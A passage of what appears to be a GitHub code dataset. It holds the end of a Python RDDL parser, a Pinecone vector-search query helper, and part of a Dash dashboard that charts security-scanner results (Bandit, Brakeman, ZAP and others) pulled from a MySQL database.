lconst_list RPAREN ASSIGN_EQUAL range_const SEMI\n | IDENT ASSIGN_EQUAL range_const SEMI'''\n if len(p) == 6:\n p[0] = ((p[1], p[3]), True)\n elif len(p) == 3:\n p[0] = ((p[1], None), True)\n elif len(p) == 7:\n p[0] = ((p[2], p[4]), False)\n elif len(p) == 4:\n p[0] = ((p[2], None), False)\n elif len(p) == 8:\n p[0] = ((p[1], p[3]), p[6])\n elif len(p) == 5:\n p[0] = ((p[1], None), p[3])\n\n def p_lconst_list(self, p):\n '''lconst_list : lconst_list COMMA lconst\n | lconst'''\n if len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_string_list(self, p):\n '''string_list : string_list COMMA IDENT\n | IDENT\n | empty'''\n if p[1] is None:\n p[0] = []\n elif len(p) == 4:\n p[1].append(p[3])\n p[0] = p[1]\n elif len(p) == 2:\n p[0] = [p[1]]\n\n def p_empty(self, p):\n 'empty :'\n pass\n\n def p_error(self, p):\n if self.debugging:\n print('Syntax error in input! See log file: {}'.format(self.parsing_logfile))\n\n print('Syntax error in input! Line: {} failed token:\\n{}'.format(p.lineno, p))\n\n def build(self, **kwargs):\n self._parser = yacc.yacc(module=self, **kwargs)\n\n def parse(self, input):\n if self.debugging:\n self.parsing_logfile = os.path.join(tempfile.gettempdir(), 'rddl_parse.log')\n log = logging.getLogger(__name__)\n log.addHandler(logging.FileHandler(self.parsing_logfile))\n return self._parser.parse(input=input, lexer=self.lexer, debug=log)\n return self._parser.parse(input=input, lexer=self.lexer)\n\n def _print_verbose(self, p_name):\n if self._verbose:\n print('>> Parsed `{}` ...'.format(p_name))\n","repo_name":"thiagopbueno/pyrddl","sub_path":"pyrddl/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":29308,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"19395060244","text":"import logging\n\nimport pinecone\n\nfrom ..https_requests import send_https_request\nfrom ..config import get_pinecone_key, get_pinecone_environment, get_pinecone_index_name\n\npinecone.init(api_key=get_pinecone_key(), environment=get_pinecone_environment(), log_level=\"debug\")\nlogging.getLogger(\"pinecone\").setLevel(\"DEBUG\")\nlogging.getLogger(\"urllib3\").setLevel(\"DEBUG\")\nlogging.getLogger(\"pinecone.core.client\").setLevel(\"DEBUG\")\nlogging.getLogger(\"pinecone.core.client.rest\").setLevel(\"DEBUG\")\n\n\ndef get_pinecone_index() -> 'pinecone.Index':\n return pinecone.Index(get_pinecone_index_name())\n\n\ndef query_index(query_vector, top_k, namespace, include_values, include_metadata, trace_id):\n host = f\"{get_pinecone_index_name()}-0ddc4d6.svc.{get_pinecone_environment()}.pinecone.io\"\n path = \"/query\"\n headers = {\n \"content-type\": \"application/json\",\n \"api-key\": get_pinecone_key(),\n \"accept\": \"application/json\",\n }\n data = {\n \"vector\": query_vector,\n \"top_k\": top_k,\n \"includeMetadata\": include_metadata,\n \"includeValues\": include_values,\n \"namespace\": namespace,\n }\n return send_https_request(host, path, data, headers, trace_id)\n","repo_name":"UpMortem/slack-bot","sub_path":"src/semantic_search/semantic_search/external_services/pinecone.py","file_name":"pinecone.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"62"} +{"seq_id":"19362460139","text":"# Code source: https://dash-bootstrap-components.opensource.faculty.ai/examples/simple-sidebar/\nfrom zlib import DEF_BUF_SIZE\nimport dash\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom matplotlib.pyplot import figure\nimport plotly.express as px\nfrom dash.dependencies import Input, Output\nimport pandas as pd\nimport mysql.connector\nfrom mysql.connector import Error\n\nimport plotly.graph_objects as go\nimport warnings\n\nfrom sqlalchemy import false\nwarnings.filterwarnings(\"ignore\")\n\n\ndef etl(table_name):\n \"\"\"\n Boman.AI Database Connection from Azure Data base with configuration of user name and password and database name\n Parameters:\n table_name: We have to Pass the Table Name to fetech from DB\n \"\"\"\n try:\n bomandb = mysql.connector.connect(host='host_name',\n database='boman_dev',\n user='bomanadmin',\n password='password')\n # SELECT * FROM boman_dev.sast_results where tool_name='Bandit';\n sast_data = \"SELECT * FROM boman_dev.{};\".format(table_name) # I ahve to pass either sast_results or dast_results\n data = pd.read_sql(sast_data,bomandb)\n cursor = bomandb.cursor()\n cursor.execute(sast_data)\n records = cursor.fetchall()\n\n except Error as e :\n print (\"Error connecting MySQL\", e)\n finally:\n #closing database connection.\n if(bomandb .is_connected()):\n bomandb.close()\n print(\"MySQL connection is closed Now\")\n return data\ndef data_featching_from_db(table_name,tn):\n \"\"\"\n Boman.AI Database Connection from Azure Data base with configuration of user name and password and database name\n Parameters:\n table_name: We have to Pass the Table Name to fetech from DB\n \"\"\"\n try:\n bomandb = mysql.connector.connect(host='hostname',\n database='boman_dev',\n user='bomanadmin',\n password='password')\n # SELECT * FROM boman_dev.sast_results where tool_name='Bandit';\n sast_data = \"SELECT * FROM boman_dev.{} WHERE tool_name='{}';\".format(table_name,tn) # I ahve to pass either sast_results or dast_results\n data = pd.read_sql(sast_data,bomandb)\n cursor = bomandb.cursor()\n cursor.execute(sast_data)\n records = cursor.fetchall()\n\n except Error as e :\n print (\"Error connecting MySQL\", e)\n finally:\n #closing database connection.\n if(bomandb .is_connected()):\n bomandb.close()\n print(\"MySQL connection is closed Now\")\n return data\n\n# Tools info\nprint('*'*30,'ALL APPLICATION SECURITY TOOLS ','*'*30)\nsast_tn = etl('sast_results')\ndast_tn = etl('dast_results')\nsca_tn = etl('sca_results')\nsc_tn = etl('secret_scan_results')\n\n\nvuln_name_count = sast_tn.vuln_name.value_counts()\n# Vulnerabilities Severity\nvuln_severity_count = sast_tn.vuln_severity.value_counts()\nvuln_created_date = sast_tn.created_at.value_counts()\n\n# SAST TOOLS\nprint('*'*30,'SAST TOOLS','*'*30)\n\n# Bandit tool\nprint('*'*30,'SAST BANDIT(PYTHON) TOOLS','*'*30)\ndf_bandit = data_featching_from_db('sast_results','Bandit')\n\n# Brakeman\nprint('*'*30,'SAST Brakeman TOOLS','*'*30)\ndf_brakeman= data_featching_from_db('sast_results','Brakeman')\n\n# PHP\nprint('*'*30,'SAST PHP Code Sniffer TOOLS','*'*30)\ndf_php =data_featching_from_db('sast_results','PHP Code Sniffer')\n\n# Njsscan\nprint('*'*30,'SAST Njsscan TOOLS','*'*30)\ndf_njsscan =data_featching_from_db('sast_results','Njsscan')\nprint('*'*50,'ALL SAST TOOLS ARE COMPLITED','*'*50)\n\n# DAST TOOlS\nprint('*'*30,'DAST TOOLS','*'*30)\n#df_zap = data_featching_from_db('dast_results','OWASP Zap')\ndf_zap = etl('dast_results')\n\n#external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.UNITED]) #dbc.themes.UNITED\napp.title = \"Boman.ai Dashboard\"\n\n# styling the sidebar\nSIDEBAR_STYLE = {\n \"position\": \"fixed\",\n \"top\": 0,\n \"left\": 0,\n \"bottom\": 0,\n \"width\": \"18rem\",\n \"padding\": \"2rem 1rem\",\n \"background-color\": \"#f2faf9\",\n}\n\n# padding for the page content\nCONTENT_STYLE = {\n \"margin-left\": \"18rem\",\n \"margin-right\": \"2rem\",\n \"padding\": \"2rem 1rem\",\n}\n\nsidebar = html.Div(\n [\n html.H2(\"Boman.AI\", className=\"display-4\"),\n #html.Img(src = 'https://static.wixstatic.com/media/a3de5f_9a5db212e88d49a891fa21f99c863d6c~mv2.png/v1/fill/w_381,h_206,al_c,usm_0.66_1.00_0.01,enc_auto/a3de5f_9a5db212e88d49a891fa21f99c863d6c~mv2.png'),\n html.Hr(),\n html.P(\n \"DevOpsSec Application Security powered by AI/ML\", className=\"lead\"\n ),\n dbc.Nav(\n [\n dbc.NavLink(\"Home\", href=\"/\", active=\"exact\"),\n\n dbc.DropdownMenu(\n label=\"Data Dashboard\",\n nav=True,\n children=[\n dbc.DropdownMenuItem(\"Bandit Data\", href=\"/badnitdata\", active=\"exact\"),\n dbc.DropdownMenuItem(\"Brakeman Data\", href=\"/brakemandata\", active=\"exact\"),\n dbc.DropdownMenuItem('PHP', href=\"/phpdata\", active=\"exact\"),\n dbc.DropdownMenuItem('NodeJs', href=\"/nodejs\",active='exact'),\n dbc.DropdownMenuItem('Semgrep', href=\"/semgrep\",active='exact'),\n dbc.DropdownMenuItem(\"Zap Data\", href=\"/zapdata\", active=\"exact\"),\n ]),\n #dbc.NavItem(dbc.NavLink(\"Model\", href=\"/model\", active=\"exact\")),\n dbc.NavItem(dbc.NavLink(\"Time Series\", href=\"/time\", active=\"exact\")),\n #dbc.NavItem(dbc.NavLink(\"Personlization\", href=\"/personlization\", active=\"exact\")),\n ],\n vertical=True,\n pills=True,\n ),\n ],\n style=SIDEBAR_STYLE,\n)\ncontent = html.Div(id=\"page-content\", children=[], style=CONTENT_STYLE)\napp.layout = html.Div([\n dcc.Location(id=\"url\"),sidebar,content,])\n\n@app.callback(\n Output(\"page-content\", \"children\"),\n [Input(\"url\", \"pathname\")]\n)\n\ndef render_page_content(pathname):\n if pathname == \"/\":\n # ToKen Count\n # select count(1) from boman_dev.sast_results;(SQL)\n sast_count = sast_tn.scan_token.count() \n dast_count = dast_tn.scan_token.count()\n sc_count = sc_tn.scan_token.count()\n sca_count = sca_tn.scan_token.count()\n\n # Overall Scan Tools\n total_scan = {'Security Scanning Tools Names':['SAST','DAST','Secret Scan','SCA'],\n 'Count of Each Scan':[sast_count,dast_count,sc_count,sca_count]}\n total_scan_count = sum(total_scan['Count of Each Scan'])\n\n # SAST tools Count\n sast_di = sast_tn.tool_name.value_counts()\n sast_tool_name_count = {'Tool Name':sast_di.keys(),\n 'Tool Count':sast_di.values}\n\n # DAST tools Count\n dast_tools_names = dast_tn.tool_name.value_counts()\n dast_tool_name_count = {'Tool Name':dast_tools_names.keys(),\n 'Tool Count':dast_tools_names.values}\n\n # SCA tools \n sca_tools_names = sca_tn.tool_name.value_counts()\n sca_tool_name_count = {'Tool Name':sca_tools_names.keys(),\n 'Tool Count':sca_tools_names.values}\n\n # SC Tools\n sc_tool_names = sc_tn.tool_name.value_counts()\n sc_tool_names_count = {'Tool Name':sc_tool_names.keys(),\n 'Tool Count':sc_tool_names.values}\n\n # Total Sast Vulnerabilities Names\n sast_vuln_name = sast_tn.vuln_name.value_counts()\n sast_vuln_name_count ={'Vulnerabilities Names':sast_vuln_name.keys()[0:15],\n \"Count Each Vulnerabilities\":sast_vuln_name.values[0:15]\n }\n # Total dast Vulnerabilities Names\n dast_vuln_name = dast_tn.vuln_name.value_counts()\n dast_vuln_name_count ={'Vulnerabilities Names':dast_vuln_name.keys()[0:15],\n \"Count Each Vulnerabilities\":dast_vuln_name.values[0:15]\n }\n # Total SCA Vulnerabilities Names\n sca_vuln_name = sca_tn.vuln_name.value_counts()\n sca_vuln_name_count ={'Vulnerabilities Names':sca_vuln_name.keys()[0:15],\n \"Count Each Vulnerabilities\":sca_vuln_name.values[0:15]\n }\n # Total SS Vulnerabilities Names\n ss_vuln_name = sc_tn.vuln_name.value_counts()\n ss_vuln_name_count ={'Vulnerabilities Names':ss_vuln_name.keys()[0:15],\n \"Count Each Vulnerabilities\":ss_vuln_name.values[0:15]\n }\n\n # Machine Learning Model Preicated False Positive\n sast_tool_fp = sast_tn.false_positive.value_counts()\n dast_tool_fp = dast_tn.false_positive.value_counts()\n sast_fp_0=sast_tool_fp[0.0]\n dast_fp_0 = dast_tool_fp[0.0]\n total_false_postive = {'Total No of False Postive deteted by AI/ML':[\"False Postive\",'True Postive'],\n \"Count False Postive\":[sast_tool_fp[1.0], dast_fp_0+sast_fp_0]\n }\n\n tool_master_data=[ html.H1('Boman.ai Analysis Dashboard',style={'textAlign':'center'}),\n # Over all Scan Tools\n \n html.P(\"Overall Different Application Security Testing Tools Which we are Listed in Below: \"),\n html.Li(\"This are the Top Used Security Scaners by the Customers\"),\n html.Li('Total Number of Scan Done across all the Security Scanning Tools: {}'.format(total_scan_count)),\n #html.Hr,html.Br,\n html.Li(\"Total Scan done in SAST is :............... {}\".format(sast_count)),\n html.Li(\"Total Scan done in DAST is :............... {}\".format(dast_count)),\n html.Li(\"Total Scan done in SCA is :................ {}\".format(sca_count)),\n html.Li(\"Total Scan Done in Secret Scan is :...... {}\".format(sc_count)),\n\n # Total Overall Security Scan Count \n dcc.Graph(id='Security_Scanning_Tools_bar',\n # Total Number of Scan Done In Overall From (SAST, DAST, SC, SCA) - Code Review tools.(X – Tool Name and Y – No Count) \n figure = px.bar(total_scan,\n x='Security Scanning Tools Names',\n y='Count of Each Scan', \n text_auto='.2s',\n title='Total Number of Scan Done From (SAST, DAST, SC, SCA)',\n labels={'x':\"Security Scanning Tools Names\",'y':'Count of Each Scan'}),\n config= {'displaylogo': False}\n ),\n # SAST Scan Tools\n html.Li(\"Scan Tools Name is :- {}:- Count:- {}\".format(sast_tool_name_count['Tool Name'][0],sast_tool_name_count['Tool Count'][0])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(sast_tool_name_count['Tool Name'][1],sast_tool_name_count['Tool Count'][1])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(sast_tool_name_count['Tool Name'][2],sast_tool_name_count['Tool Count'][2])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(sast_tool_name_count['Tool Name'][3],sast_tool_name_count['Tool Count'][3])),\n\n dcc.Graph(id ='Tool_name_barchart',\n figure= px.bar(sast_tool_name_count, x='Tool Name',y='Tool Count',\n text_auto='.2s',title='All SAST Scan Tool',labels={'x':\"Tools Names \",'y':'Count of Each Scan Tools'}),\n config= {'displaylogo': False}\n ),\n # DAST Scan Tools\n html.Li(\"Scan Tools Name is :- {}:- Count:- {}\".format(dast_tool_name_count['Tool Name'][0],dast_tool_name_count['Tool Count'][0])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][1],dast_tool_name_count['Tool Count'][1])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][2],dast_tool_name_count['Tool Count'][2])),\n html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][3],dast_tool_name_count['Tool Count'][3])),\n dcc.Graph(id ='Tool_name_barchart',\n figure= px.bar(dast_tool_name_count, x='Tool Name',y='Tool Count',\n text_auto='.2s',title='All DAST Scan Type',\n color_discrete_sequence = px.colors.sequential.Plasma,\n labels={'x':\"Tools Names Type \",'y':'Count of Each Scan Tools'}\n ),\n config= {'displaylogo': False}\n ),\n # SCA Scan Tools \n html.Li(\"Scan Tools Name is :- {}:- Count:- {}\".format(sca_tool_name_count['Tool Name'][0],sca_tool_name_count['Tool Count'][0])),\n #html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][1],dast_tool_name_count['Tool Count'][1])),\n #html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][2],dast_tool_name_count['Tool Count'][2])),\n #html.Li(\"Scan Tool Name is :- {} Count:- {}\".format(dast_tool_name_count['Tool Name'][3],dast_tool_name_count['Tool Count'][3])),\n\n dcc.Graph(id = \"customer_master_barchart\",\n figure= px.bar(sca_tool_name_count, \n x='Tool Name',\n y='Tool Count',\n text_auto='.2s',\n title='All SCA Scan',\n labels={'x':\"Total Names\",'y':'Tool Count '},\n color_discrete_sequence = px.colors.sequential.Cividis\n ),\n config= {'displaylogo': False}\n ),\n # SC Scan Tools \n html.Li(\"Scan Tools Name is :- {}:- Count:- {}\".format(sc_tool_names_count['Tool Name'][0],sc_tool_names_count['Tool Count'][0])),\n dcc.Graph(id = \"sc\",\n figure= px.pie(sc_tool_names_count, \n names = 'Tool Name',\n values = 'Tool Count',\n #text_auto='.2s',\n title='All Secret Scanning Tools',\n hole=.5,\n color_discrete_sequence = px.colors.sequential.Darkmint,\n labels={'x':\"Total Names\",'y':'Tool Count '}),\n config= {'displaylogo': False}\n ),\n html.H4('Total Vulnerabilities from both SAST & DAST Predicate by Machine Learning Model'),\n html.Li('Total No Of Results Processed by AI/ML API is:- {}'.format(sum(total_false_postive['Count False Postive']))),\n html.Li(\"Total No of False Postive Deteeced by AI/ML API:- {}\".format(total_false_postive['Count False Postive'][0])),\n html.Li(\"Total No of True Postive Deteeced by AI/ML API:- {}\".format(total_false_postive['Count False Postive'][1])),\n dcc.Graph(id='false_postive_bar',\n # false positive vulnerability in application (1) \n # false nagative no vulnerability in application (0)\n #figure = px.bar(total_false_postive, x='False Postive and Negative Found',y = 'Count False Postive and Negative',text_auto='.2s',title='Total Vulnerabilities in SAST & DAST Predicate by Machine Learning Model'),\n config= {'displaylogo': False},\n figure = px.pie(total_false_postive, \n names='Total No of False Postive deteted by AI/ML',\n hole=.7,\n color_discrete_sequence=px.colors.sequential.Sunsetdark,\n values = 'Count False Postive', \n title='Total Vulnerabilities in SAST DAST Predicate by Machine Learning Model')\n ),\n dcc.Graph(id='Sast_vuln_names',\n figure= px.pie(sast_vuln_name_count, names='Vulnerabilities Names',values='Count Each Vulnerabilities',\n #text_auto='.2s',\n hole=.1,\n color_discrete_sequence=px.colors.sequential.Plasma,\n title='Top 15 Vulnerabilities in SAST',\n labels={'x':\"Vulnerabilities Names\",'y':'Count Each Vulnerabilities'}),\n config= {'displaylogo': False},\n ),\n dcc.Graph(id='dast_vuln_names',\n figure= px.bar(dast_vuln_name_count, x='Vulnerabilities Names',y='Count Each Vulnerabilities',\n text_auto='.2s', \n color_discrete_sequence=px.colors.sequential.RdBu,\n title='Top 15 Vulnerabilities in DAST'),\n #labels={'x':\"Total Vulnerabilities Names\",'y':'Count Each Vulnerabilities'}),\n config= {'displaylogo': False},\n ),\n dcc.Graph(id='sca_vuln_names',\n figure= px.pie(sca_vuln_name_count, names='Vulnerabilities Names',values='Count Each Vulnerabilities',\n #text_auto='.2s',\n hole=.3,\n color_discrete_sequence=px.colors.sequential.Rainbow,\n title='Top 15 Vulnerabilities in SCA',\n labels={'x':\"Vulnerabilities Names\",'y':'Count Each Vulnerabilities'}),\n config= {'displaylogo': False},\n ),\n #dcc.Graph(id='ss_vuln_names',\n # figure= px.pie(ss_vuln_name_count, \n # names='Total Vulnerabilities Names',\n # #text_auto='.2s',\n # color_discrete_sequence=px.colors.sequential.haline,\n # title='Top 15 Vulnerabilities in SS',\n # labels={'x':\"Total Vulnerabilities Names\",'y':'Count Each Vulnerabilities'}),\n # config= {'displaylogo': False},\n #),\n\n ]\n return tool_master_data\n elif pathname == \"/badnitdata\":\n bandit_no_of_scan = df_bandit.scan_token.count()\n\n # Vulnerabilities Names Count\n bandit_vuln_names = df_bandit.vuln_name.value_counts()\n bandit_vuln_name_count = {'Vulnerabilities Name':bandit_vuln_names.keys(),\n 'Tool Count':bandit_vuln_names.values}\n # Vulnerabilities Severity_count\n bandit_vuln_severity = df_bandit.vuln_severity.value_counts()\n bandit_vuln_severity_count = {'Vulnerabilities Severity':bandit_vuln_severity.keys(),\n 'Vulnerabilities Count': bandit_vuln_severity.values\n }\n # Vulnerabilities Confidence Count\n bandit_vuln_confidence = df_bandit.vuln_confidence.value_counts()\n bandit_vuln_confidence_count = {'Vulnerabilities Confidence':bandit_vuln_confidence.keys(),\n 'Vulnerabilities Count': bandit_vuln_confidence.values\n }\n # False Postive Data \n bandit_false_postive = df_bandit['false_positive'].value_counts()\n bandit_false_postive_count = {'False Positive':bandit_false_postive.keys(),\n 'False Positive Count': bandit_false_postive.values\n }\n\n bandit = [html.H1(\"Bandit live data visualizationsis\"),\n html.Li(\"Total No of Scan Done So far: {}\".format(bandit_no_of_scan)),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(bandit_vuln_name_count['Vulnerabilities Name'][0],bandit_vuln_name_count['Tool Count'][0])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(bandit_vuln_name_count['Vulnerabilities Name'][1],bandit_vuln_name_count['Tool Count'][1])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(bandit_vuln_name_count['Vulnerabilities Name'][2],bandit_vuln_name_count['Tool Count'][2])),\n # Vulnerabilities Names and it Count\n dcc.Graph(id='vuln_name_bar',\n figure= px.pie(bandit_vuln_name_count,\n names = 'Vulnerabilities Name',\n values = 'Tool Count',\n title='Top Vulnerabilities Name in Bandit Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n labels={'x':\"Vulnerabilities Name\",'y':'Bandit Vulnerabilities Count'}),\n config= {'displaylogo': False}\n ),\n \n # Unique Vulnerabilities Creared Over Time\n #dcc.Graph(id = \"created_date_barchart\",\n # figure= px.line(bandit_created_date , \n # x='Vulnerabilities Created', \n # y='Vulnerabilities Count',\n # title=\"Unique bandit Vulnerabilities\",\n # labels={'x':\"Vulnerabilities Created\",'y':'Vulnerabilities Count'}),\n # config= {'displaylogo': False\n # }),\n\n # Bandit Vulnerabilities Severity\n html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(bandit_vuln_severity_count['Vulnerabilities Severity'][0],bandit_vuln_severity_count['Vulnerabilities Count'][0])),\n html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(bandit_vuln_severity_count['Vulnerabilities Severity'][1],bandit_vuln_severity_count['Vulnerabilities Count'][1])),\n html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(bandit_vuln_severity_count['Vulnerabilities Severity'][2],bandit_vuln_severity_count['Vulnerabilities Count'][2])),\n \n dcc.Graph(id='vuln_severity_graph',\n figure=px.bar(bandit_vuln_severity_count, \n x='Vulnerabilities Severity',\n y = 'Vulnerabilities Count',\n title='Vulnerabilities Severity In Bandit Scan Tool'),config= {'displaylogo': False}\n ),\n\n # Bandit Vulnerabilities Confidence\n html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(bandit_vuln_confidence_count['Vulnerabilities Confidence'][0],bandit_vuln_confidence_count['Vulnerabilities Count'][0])),\n html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(bandit_vuln_confidence_count['Vulnerabilities Confidence'][1],bandit_vuln_confidence_count['Vulnerabilities Count'][1])),\n html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(bandit_vuln_confidence_count['Vulnerabilities Confidence'][2],bandit_vuln_confidence_count['Vulnerabilities Count'][2])),\n dcc.Graph(id = \"vuln_severity_barchart\",\n figure=px.bar(bandit_vuln_confidence_count, \n x='Vulnerabilities Confidence',\n y = 'Vulnerabilities Count',\n color_discrete_sequence= px.colors.sequential.OrRd,\n title='Vulnerabilities Severity In Bandit'),config= {'displaylogo': False}\n ),\n # Total No False Positive and Nagative\n html.H4(\"Total No Result Processed by Bandit Machine Learning Model API is:- {}\".format(sum(bandit_false_postive_count['False Positive Count']))),\n html.Li(\"True Positive is : {} :- Count:- {}\".format(bandit_false_postive_count['False Positive'][0],bandit_false_postive_count['False Positive Count'][0])),\n html.Li(\"False Postive is : {} :- Count:- {}\".format(bandit_false_postive_count['False Positive'][1],bandit_false_postive_count['False Positive Count'][1])),\n dcc.Graph(id = \"false_positive_barchart\",\n figure=px.pie(bandit_false_postive_count, \n names = 'False Positive',\n hole = .5,\n color_discrete_sequence = px.colors.sequential.Darkmint,\n values = 'False Positive Count', \n title='False Positive'),config= {'displaylogo': False}\n ),\n ]\n return bandit\n elif pathname == \"/brakemandata\":\n brakeman_no_of_scan = df_brakeman.scan_token.count()\n\n # Vulnerabilities Names Count\n brakeman_high_count = df_brakeman.vuln_confidence.str.lower().value_counts()\n brakeman_vuln_names = df_brakeman.vuln_name.value_counts()\n brakeman_vuln_name_count = {'Vulnerabilities Name':brakeman_vuln_names.keys(),\n 'Tool Count':brakeman_vuln_names.values}\n\n # Vulnerabilities Severity_count\n brakeman_vuln_severity = df_brakeman.vuln_severity.value_counts()\n brakeman_vuln_severity_count = {'Vulnerabilities Severity':brakeman_vuln_severity.keys(),\n 'Vulnerabilities Count': brakeman_vuln_severity.values\n }\n # Created Date\n brakeman_created_date ={'Vulnerabilities Created':df_brakeman.created_at,\n 'Vulnerabilities Count':df_brakeman.vuln_id\n }\n\n # Vulnerabilities Confidence Count\n brakeman_vuln_confidence = df_brakeman.vuln_confidence.value_counts()\n brakeman_vuln_confidence_count = {'Vulnerabilities Confidence':brakeman_vuln_confidence.keys(),\n 'Vulnerabilities Count': brakeman_vuln_confidence.values\n }\n # False Postive Data \n brakeman_false_postive = df_brakeman['false_positive'].value_counts()\n brakeman_false_postive_count = {'False Positive':brakeman_false_postive.keys(),\n 'False Positive Count': brakeman_false_postive.values\n }\n\n #brakeman_vuln_name_count = df_brakeman.vuln_name.value_counts()\n #brakeman_vuln_names = df_brakeman.vuln_name.unique()\n #brakeman_no_of_scan = df_brakeman.scan_token.count()\n brakeman_high_count = df_brakeman.vuln_confidence.str.lower().value_counts()\n \n brakeman = [\n html.H1(\"Brakeman live data visualizationsis\"),\n html.Li(\"Total No of Scan Done So far: {}\".format(brakeman_no_of_scan)),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(brakeman_vuln_name_count['Vulnerabilities Name'][0],brakeman_vuln_name_count['Tool Count'][0])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(brakeman_vuln_name_count['Vulnerabilities Name'][1],brakeman_vuln_name_count['Tool Count'][1])),\n html.Li(\"Vulnerabilities Name:- {} Vulnerabilities Count:- {}\".format(brakeman_vuln_name_count['Vulnerabilities Name'][2],brakeman_vuln_name_count['Tool Count'][2])),\n # Vulnerabilities Names and it Count\n dcc.Graph(id='vuln_name_bar',\n figure= px.pie(brakeman_vuln_name_count,\n names = 'Vulnerabilities Name',\n values = 'Tool Count',\n title='Top Vulnerabilities Name in Brakeman Tool',\n color_discrete_sequence= px.colors.sequential.Plasma,\n labels={'x':\"Vulnerabilities Name\",'y':'Brakeman Vulnerabilities Count'}),\n config= {'displaylogo': False}\n ),\n \n # Brakeman Vulnerabilities Severity\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(brakeman_vuln_severity_count['Vulnerabilities Severity'][0],brakeman_vuln_severity_count['Vulnerabilities Count'][0])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(brakeman_vuln_severity_count['Vulnerabilities Severity'][1],brakeman_vuln_severity_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Severity:- {} Count:- {}\".format(brakeman_vuln_severity_count['Vulnerabilities Severity'][2],brakeman_vuln_severity_count['Vulnerabilities Count'][2])),\n \n #dcc.Graph(id='vuln_severity_graph',\n # figure=px.bar(brakeman_vuln_severity_count, \n # x='Vulnerabilities Severity',\n # y = 'Vulnerabilities Count',\n # title='Vulnerabilities Severity In Brakeman Scan Tool'),config= {'displaylogo': False}\n # ),\n\n # Brakeman Vulnerabilities Confidence\n html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(brakeman_vuln_confidence_count['Vulnerabilities Confidence'][0],brakeman_vuln_confidence_count['Vulnerabilities Count'][0])),\n html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(brakeman_vuln_confidence_count['Vulnerabilities Confidence'][1],brakeman_vuln_confidence_count['Vulnerabilities Count'][1])),\n #html.Li(\"Vulnerabilities Confidence:- {} Count:- {}\".format(brakeman_vuln_confidence_count['Vulnerabilities Confidence'][2],brakeman_vuln_confidence_count['Vulnerabilities Count'][2])),\n dcc.Graph(id = \"vuln_severity_barchart\",\n figure=px.bar(brakeman_vuln_confidence_count, \n x='Vulnerabilities Confidence',\n y = 'Vulnerabilities Count',\n color_discrete_sequence= px.colors.sequential.OrRd,\n title='Vulnerabilities Severity In Brakeman'),config= {'displaylogo': False}\n ),\n # Total No False Positive and Nagative\n html.H4(\"Total No Result Processed by Brakeman Machine Learning Model API is:- {}\".format(sum(brakeman_false_postive_count['False Positive Count']))),\n html.Li(\"True Positive is : {} :- Count:- {}\".format(brakeman_false_postive_count['False Positive'][0],brakeman_false_postive_count['False Positive Count'][0])),\n html.Li(\"False Postive is : {} :- Count:- {}\".format(brakeman_false_postive_count['False Positive'][1],brakeman_false_postive_count['False Positive Count'][1])),\n dcc.Graph(id = \"false_positive_barchart\",\n figure=px.pie(brakeman_false_postive_count, \n names = 'False Positive',\n hole = .5,\n color_discrete_sequence = px.colors.sequential.Darkmint,\n values = 'False Positive Count', \n title='False Positive'),config= {'displaylogo': False}\n ),\n ]\n return brakeman \n elif pathname == \"/phpdata\":\n php_no_of_scan = df_php.scan_token.count()\n\n # Vulnerabilities Names Count\n brakeman_high_count = df_php.vuln_confidence.str.lower().value_counts()\n php_vuln_names = df_php.vuln_name.value_counts()\n php_vuln_name_count = {'Vulnerabilities Name':php_vuln_names.keys(),\n 'Tool Count':php_vuln_names.values}\n\n # Vulnerabilities Severity_count\n php_vuln_severity = df_php.vuln_severity.value_counts()\n php_vuln_severity_count = {'Vulnerabilities Severity': php_vuln_severity.keys(),\n 'Vulnerabilities Count': php_vuln_severity.values\n }\n # Created Date\n php_created_date ={'Vulnerabilities Created':df_php.created_at,\n 'Vulnerabilities Count':df_php.vuln_id\n }\n\n # Vulnerabilities Confidence Count\n php_vuln_confidence = df_php.vuln_confidence.value_counts()\n php_vuln_confidence_count = {'Vulnerabilities Confidence':php_vuln_confidence.keys(),\n 'Vulnerabilities Count': php_vuln_confidence.values\n }\n # False Postive Data \n php_false_postive = df_php['false_positive'].value_counts()\n php_false_postive_count = {'False Positive':php_false_postive.keys(),\n 'False Positive Count': php_false_postive.values\n }\n # Unique Scan Details\n scan_details_id = 